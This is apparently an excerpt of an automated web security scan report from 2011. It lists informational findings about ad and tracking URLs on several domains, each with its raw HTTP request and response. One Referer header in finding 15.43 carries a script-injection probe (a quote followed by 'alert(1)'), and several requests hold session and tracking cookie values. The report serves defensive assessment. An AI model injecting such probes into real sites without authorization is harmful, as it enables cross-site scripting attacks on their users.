<li><a title="Twitter" href="http://twitter.com/sendgrid">Twitter</a>
...[SNIP]...
<a href="http://blog.sendgrid.com/feed/"><img alt="RSS" title="Feed" src="http://d2gramajkvysi4.cloudfront.net/images/social/rss.gif?r=1309887434" /></a>
<a href="http://twitter.com/SendGrid"><img alt="Twitter" title="Twitter" src="http://d2gramajkvysi4.cloudfront.net/images/social/twitter.gif?r=1309887433" /></a>
<a href="http://www.facebook.com/SendGrid"><img alt="Facebook" title="Facebook" src="http://cdn.sendgrid.com/images/social/facebook.gif?r=1309887433" />
...[SNIP]...
</div>

<script type="text/javascript" src="http://d2gramajkvysi4.cloudfront.net/js/new/placeholders.gz.js?r=1309887505"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
<noscript>
<img src="http://pixel.quantserve.com/pixel/p-de_F6qVUp9bug.gif?labels=_fp.event.Pricing+Page" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/>
</noscript>
...[SNIP]...

15.41. http://srv.healthheadlines.com/s.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://srv.healthheadlines.com
Path:	/s.php

Issue detail

The page was loaded from a URL containing a query string:

http://srv.healthheadlines.com/s.php?c=51&d=9&t=0.08053325628861785&n=1133000173&k=http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ%26num%3D1%26sig%3DAOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw%26client%3Dca-pub-3796773913386149%26adurl%3D

The response contains the following links to other domains:

http://c2462822.r22.cf0.rackcdn.com/82_ad_07.png
http://c2462832.r32.cf0.rackcdn.com/1168_SmokingWoman_80x60.jpg
http://c2462832.r32.cf0.rackcdn.com/404_eng80x60.jpg
http://c2462832.r32.cf0.rackcdn.com/7_BandanaMan_80x60.jpg
http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=http://srv2.healthheadlines.com/t.php?e=90186&a=AIvJnAAAADMAAAAJAAAAUgAAAGQAAAAFAAAABwAAAAUAAAG1AAAA&b=yAAAACIAAAGUAAAAKQAAAZQAAAEsAAAAFAAABJAAAAAaAAAAuQ%3D%3D&t=0&i=6&r=http%3A%2F%2Fwww.PeakLife.com%2Fbridge%2Frad_srv_9%2F1133000173%2Fpid%3D200
http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=http://srv2.healthheadlines.com/t.php?e=90186&a=AIvJnAAAADMAAAAJAAAAUgAAAGQAAAAFAAAABwAAAAUAAAG1AAAA&b=yAAAACIAAAGUAAAAKQAAAZQAAAEsAAAAFAAABJAAAAAaAAAAuQ%3D%3D&t=0&i=7&r=http%3A%2F%2Fwww.ForceFactor.com%2Fbridge%2Frad_srv_9%2F1133000173%2Fpid%3D100
http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=http://srv2.healthheadlines.com/t.php?e=90186&a=AIvJnAAAADMAAAAJAAAAUgAAAGQAAAAFAAAABwAAAAUAAAG1AAAA&b=yAAAACIAAAGUAAAAKQAAAZQAAAEsAAAAFAAABJAAAAAaAAAAuQ%3D%3D&t=0&i=9&r=http%3A%2F%2Fwww.MyStagesofBeauty.com%2Fbridge%2Frad_srv_9%2F1133000173%2Fpid%3D300

Request

GET /s.php?c=51&d=9&t=0.08053325628861785&n=1133000173&k=http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ%26num%3D1%26sig%3DAOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw%26client%3Dca-pub-3796773913386149%26adurl%3D HTTP/1.1
Host: srv.healthheadlines.com
Proxy-Connection: keep-alive
Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:20:27 GMT
Server: Apache/2.2.16 (Ubuntu)
X-Powered-By: PHP/5.3.3-1ubuntu9
Set-Cookie: _int_lst=QUl2Sm5BQUFBRE1BQUFBSkFBQUFVZ0FBQUdRQUFBQUZBQUFBQndBQUFBVUFBQUcxQUFBQXx5QUFBQUNJQUFBR1VBQUFBS1FBQUFaUUFBQUVzQUFBQUZBQUFCSkFBQUFBYUFBQUF1UT09fHx8MXwxMzE2MTkwMDI3; path=/; domain=.healthheadlines.com; httponly
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 11 Nov 1971 11:11:11 GMT
Vary: Accept-Encoding
Content-Length: 5062
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type
...[SNIP]...
<div id="adver_wrap"><img id="advertorials" src="http://c2462822.r22.cf0.rackcdn.com/82_ad_07.png" width="188" height="24" alt="Advertorials" /></div> <a class="section sec1" href="http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=http://srv2.healthheadlines.com/t.php?e=90186&a=AIvJnAAAADMAAAAJAAAAUgAAAGQAAAAFAAAABwAAAAUAAAG1AAAA&b=yAAAACIAAAGUAAAAKQAAAZQAAAEsAAAAFAAABJAAAAAaAAAAuQ%3D%3D&t=0&i=7&r=http%3A%2F%2Fwww.ForceFactor.com%2Fbridge%2Frad_srv_9%2F1133000173%2Fpid%3D100" target="_blank" title="He Weighs 170, Benches 420"><img src="http://c2462832.r32.cf0.rackcdn.com/7_BandanaMan_80x60.jpg" width="80" height="60" alt="He Weighs 170, Benches 420" title="He Weighs 170, Benches 420" /><div class="text_section">
...[SNIP]...
</a> <a class="section" href="http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=http://srv2.healthheadlines.com/t.php?e=90186&a=AIvJnAAAADMAAAAJAAAAUgAAAGQAAAAFAAAABwAAAAUAAAG1AAAA&b=yAAAACIAAAGUAAAAKQAAAZQAAAEsAAAAFAAABJAAAAAaAAAAuQ%3D%3D&t=0&i=6&r=http%3A%2F%2Fwww.PeakLife.com%2Fbridge%2Frad_srv_9%2F1133000173%2Fpid%3D200" target="_blank" title="Age 50+ How to Stay Asleep All Night"><img src="http://c2462832.r32.cf0.rackcdn.com/404_eng80x60.jpg" width="80" height="60" alt="Age 50+ How to Stay Asleep All Night" title="Age 50+ How to Stay Asleep All Night" /><div class="text_section">
...[SNIP]...
</a> <a class="section sec3" href="http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=http://srv2.healthheadlines.com/t.php?e=90186&a=AIvJnAAAADMAAAAJAAAAUgAAAGQAAAAFAAAABwAAAAUAAAG1AAAA&b=yAAAACIAAAGUAAAAKQAAAZQAAAEsAAAAFAAABJAAAAAaAAAAuQ%3D%3D&t=0&i=9&r=http%3A%2F%2Fwww.MyStagesofBeauty.com%2Fbridge%2Frad_srv_9%2F1133000173%2Fpid%3D300" target="_blank" title="Dermatologists' Best Kept Secret"><img src="http://c2462832.r32.cf0.rackcdn.com/1168_SmokingWoman_80x60.jpg" width="80" height="60" alt="Dermatologists' Best Kept Secret" title="Dermatologists' Best Kept Secret" /><div class="text_section">
...[SNIP]...

15.42. http://t.tellapart.com/hif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://t.tellapart.com
Path:	/hif

Issue detail

The page was loaded from a URL containing a query string:

http://t.tellapart.com/hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==&tms=1316208686167

The response contains the following links to other domains:

http://cm.g.doubleclick.net/pixel?google_nid=tellapart&google_cm=&google_sc=&uid=ABJeb19MQ_7Uvl3LediPd5VYoKAznog78C211xtoJO1-v9PWlDarwUa9vfv1WZD5CGRcKzdCsHmbHgEVX5_w8cJ_OROqoIUbHA
http://tag.admeld.com/id?admeld_adprovider_id=359&external_user_id=ABJeb1-FawDa6eL3RoU1nlXDmyrqfHngwf1Rc3YvaUUbKYMhEYegahCht_ZBuy8Q6WjndNs5q3ghTHGdveqJNt-FQ_p9Ka6qOQ&expiration=7days&redirect=http://a.tellapart.com/admeldmatch?nid=[admeld_user_id]%26uid=ABJeb1-FawDa6eL3RoU1nlXDmyrqfHngwf1Rc3YvaUUbKYMhEYegahCht_ZBuy8Q6WjndNs5q3ghTHGdveqJNt-FQ_p9Ka6qOQ
http://www.googleadservices.com/pagead/conversion.js
http://www.googleadservices.com/pagead/conversion/1034755325/?label=DD5aCOXLhAQQ_bm07QM&guid=ON&script=0
http://www.googleadservices.com/pagead/conversion/1034755325/?label=EwF5CL297wEQ_bm07QM&guid=ON&script=0

Request

GET /hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==&tms=1316208686167 HTTP/1.1
Host: t.tellapart.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: drapt=ABJeb18jY0mSx9O1GhjWGagkBZ8cNX0k4oxPsv8LF9nJWKu12mbgkeBMt_o6CvAURFeGEBSF8UxpLeFjWV5Q2eOlAeV7yVQxxfhVQ6n7tXCCk-3AaAr-3DeDS9cBGOjMik-CONnHvyl4pD3SI4onQ1Vx5D2OKkZQcrsaYTa28GPXtJ-72-twAilquinwVbDX2VnkhBOx2C9B; __cmbGU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; AWSELB=E31F5987121C4E93C56CFAE300CB3FAA8458B8275ED54EFB1FBFC3259C68A4A477202DDBEDB9857088204A944F7B0E0B304C51662855C88DA4DD00256DCA9F810994CC9BEC

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, proxy-revalidate
Content-Type: text/html
Date: Fri, 16 Sep 2011 16:30:40 GMT
Expires: Thu, 01 Dec 1994 16:00:00 GMT
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: no-cache
Server: TAFE
Set-Cookie: tap=u55Faqj9eQjR2O84CPogQjfO0UMPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE1qmAAsAAQAAAAI3NQoAAwAAATJzE1qmAAsAAQAAAAI3NAoAAwAAATJzE1qmAAsAAQAAAAMxMDUKAAMAAAEycxNapgAA; expires=Wed, 14-Mar-2012 16:30:40 GMT; Path=/; Domain=.tellapart.com
Content-Length: 4529
Connection: keep-alive

<html><body>
<script type="text/javascript">
// Maximum time allowed for pixels to load.
var MAX_PIXEL_LOAD_TIME = 3000;
// Ensures no more pixels are loaded after MAX_PIXEL_LOAD_TIME by removing src

...[SNIP]...
</script>
<img onload="pixelOnLoad('99');" src="http://tag.admeld.com/id?admeld_adprovider_id=359&external_user_id=ABJeb1-FawDa6eL3RoU1nlXDmyrqfHngwf1Rc3YvaUUbKYMhEYegahCht_ZBuy8Q6WjndNs5q3ghTHGdveqJNt-FQ_p9Ka6qOQ&expiration=7days&redirect=http://a.tellapart.com/admeldmatch?nid=[admeld_user_id]%26uid=ABJeb1-FawDa6eL3RoU1nlXDmyrqfHngwf1Rc3YvaUUbKYMhEYegahCht_ZBuy8Q6WjndNs5q3ghTHGdveqJNt-FQ_p9Ka6qOQ" border="0" width="1" height="1">

<script type="text/javascript">
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...
<div style="display:inline;">
<img height="1" width="1" style="border-style:none;" alt="" src="http://www.googleadservices.com/pagead/conversion/1034755325/?label=EwF5CL297wEQ_bm07QM&guid=ON&script=0"/>
</div>
...[SNIP]...
</script>
<img onload="pixelOnLoad('74');" src="http://cm.g.doubleclick.net/pixel?google_nid=tellapart&google_cm=&google_sc=&uid=ABJeb19MQ_7Uvl3LediPd5VYoKAznog78C211xtoJO1-v9PWlDarwUa9vfv1WZD5CGRcKzdCsHmbHgEVX5_w8cJ_OROqoIUbHA" border="0" width="1" height="1">

<script type="text/javascript">
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...
<div style="display:inline;">
<img height="1" width="1" style="border-style:none;" alt="" src="http://www.googleadservices.com/pagead/conversion/1034755325/?label=DD5aCOXLhAQQ_bm07QM&guid=ON&script=0"/>
</div>
...[SNIP]...

15.43. http://tag.admeld.com/id previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/id

Issue detail

The page was loaded from a URL containing a query string:

http://tag.admeld.com/id?admeld_adprovider_id=359&external_user_id=ABJeb1-Z5UvDKkUi5ma-_eIDtPdj769QhY3pAZeJqT-2TO8o8tiFaZpjTOMunCtUftPiF9z-_DUqQue1_JjQUT2xPc7U-u4i5w&expiration=7days&redirect=http://a.tellapart.com/admeldmatch?nid=[admeld_user_id]%26uid=ABJeb1-Z5UvDKkUi5ma-_eIDtPdj769QhY3pAZeJqT-2TO8o8tiFaZpjTOMunCtUftPiF9z-_DUqQue1_JjQUT2xPc7U-u4i5w

The response contains the following link to another domain:

http://a.tellapart.com/admeldmatch?nid=642fefe9-2805-4880-8962-4149d004733c&uid=ABJeb1-Z5UvDKkUi5ma-_eIDtPdj769QhY3pAZeJqT-2TO8o8tiFaZpjTOMunCtUftPiF9z-_DUqQue1_JjQUT2xPc7U-u4i5w

Request

GET /id?admeld_adprovider_id=359&external_user_id=ABJeb1-Z5UvDKkUi5ma-_eIDtPdj769QhY3pAZeJqT-2TO8o8tiFaZpjTOMunCtUftPiF9z-_DUqQue1_JjQUT2xPc7U-u4i5w&expiration=7days&redirect=http://a.tellapart.com/admeldmatch?nid=[admeld_user_id]%26uid=ABJeb1-Z5UvDKkUi5ma-_eIDtPdj769QhY3pAZeJqT-2TO8o8tiFaZpjTOMunCtUftPiF9z-_DUqQue1_JjQUT2xPc7U-u4i5w HTTP/1.1
Host: tag.admeld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://t.tellapart.com/hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==bd591%22%3balert(1)//e15fc9eb3e7&tms=1316208686167
Cookie: meld_sess=642fefe9-2805-4880-8962-4149d004733c; D41U=3O_LLE8-29DICImy9URHxcH9B6xRZqc42EETd2Ub_PUcwXum8NjMz_w

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR BUS DSP ALL COR"
Location: http://a.tellapart.com/admeldmatch?nid=642fefe9-2805-4880-8962-4149d004733c&uid=ABJeb1-Z5UvDKkUi5ma-_eIDtPdj769QhY3pAZeJqT-2TO8o8tiFaZpjTOMunCtUftPiF9z-_DUqQue1_JjQUT2xPc7U-u4i5w
Content-Length: 366
Content-Type: text/html; charset=iso-8859-1
Date: Fri, 16 Sep 2011 16:36:46 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://a.tellapart.com/admeldmatch?nid=642fefe9-2805-4880-8962-4149d004733c&uid=ABJeb1-Z5UvDKkUi5ma-_eIDtPdj769QhY3pAZeJqT-2TO8o8tiFaZpjTOMunCtUftPiF9z-_DUqQue1_JjQUT2xPc7U-u4i5w">here</a>
...[SNIP]...

15.44. http://tag.admeld.com/id previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tag.admeld.com
Path:	/id

Issue detail

The page was loaded from a URL containing a query string:

http://tag.admeld.com/id?admeld_adprovider_id=359&external_user_id=ABJeb19Jmj9tCokCusBAuXO6zTEU_j_StQm0L90KAByhufDR4AOmqPUBGDDqNjpgKn-i2TbM5fJ-P4iikei6iUVGfVa5jvfr9A&expiration=7days&redirect=http://a.tellapart.com/admeldmatch?nid=[admeld_user_id]%26uid=ABJeb19Jmj9tCokCusBAuXO6zTEU_j_StQm0L90KAByhufDR4AOmqPUBGDDqNjpgKn-i2TbM5fJ-P4iikei6iUVGfVa5jvfr9A

The response contains the following link to another domain:

http://a.tellapart.com/admeldmatch?nid=642fefe9-2805-4880-8962-4149d004733c&uid=ABJeb19Jmj9tCokCusBAuXO6zTEU_j_StQm0L90KAByhufDR4AOmqPUBGDDqNjpgKn-i2TbM5fJ-P4iikei6iUVGfVa5jvfr9A

Request

GET /id?admeld_adprovider_id=359&external_user_id=ABJeb19Jmj9tCokCusBAuXO6zTEU_j_StQm0L90KAByhufDR4AOmqPUBGDDqNjpgKn-i2TbM5fJ-P4iikei6iUVGfVa5jvfr9A&expiration=7days&redirect=http://a.tellapart.com/admeldmatch?nid=[admeld_user_id]%26uid=ABJeb19Jmj9tCokCusBAuXO6zTEU_j_StQm0L90KAByhufDR4AOmqPUBGDDqNjpgKn-i2TbM5fJ-P4iikei6iUVGfVa5jvfr9A HTTP/1.1
Host: tag.admeld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://t.tellapart.com/hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==&tms=1316208686167
Cookie: meld_sess=642fefe9-2805-4880-8962-4149d004733c; D41U=3O_LLE8-29DICImy9URHxcH9B6xRZqc42EETd2Ub_PUcwXum8NjMz_w

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache
P3P: policyref="http://tag.admeld.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR BUS DSP ALL COR"
Location: http://a.tellapart.com/admeldmatch?nid=642fefe9-2805-4880-8962-4149d004733c&uid=ABJeb19Jmj9tCokCusBAuXO6zTEU_j_StQm0L90KAByhufDR4AOmqPUBGDDqNjpgKn-i2TbM5fJ-P4iikei6iUVGfVa5jvfr9A
Content-Length: 366
Content-Type: text/html; charset=iso-8859-1
Date: Fri, 16 Sep 2011 16:30:40 GMT
Connection: close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://a.tellapart.com/admeldmatch?nid=642fefe9-2805-4880-8962-4149d004733c&uid=ABJeb19Jmj9tCokCusBAuXO6zTEU_j_StQm0L90KAByhufDR4AOmqPUBGDDqNjpgKn-i2TbM5fJ-P4iikei6iUVGfVa5jvfr9A">here</a>
...[SNIP]...

15.45. http://widgetsplus.com/google_plus_widget.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The page was loaded from a URL containing a query string:

http://widgetsplus.com/google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0

The response contains the following links to other domains:

http://lh3.googleusercontent.com/-vpN4cWeHo7E/AAAAAAAAAAI/AAAAAAAACgw/tbJSsM4LhFY/photo.jpg?sz=200
http://plus.google.com/106933972856076071655
https://plus.google.com/106933972856076071655

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:54:40 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5935
Content-Type: text/html

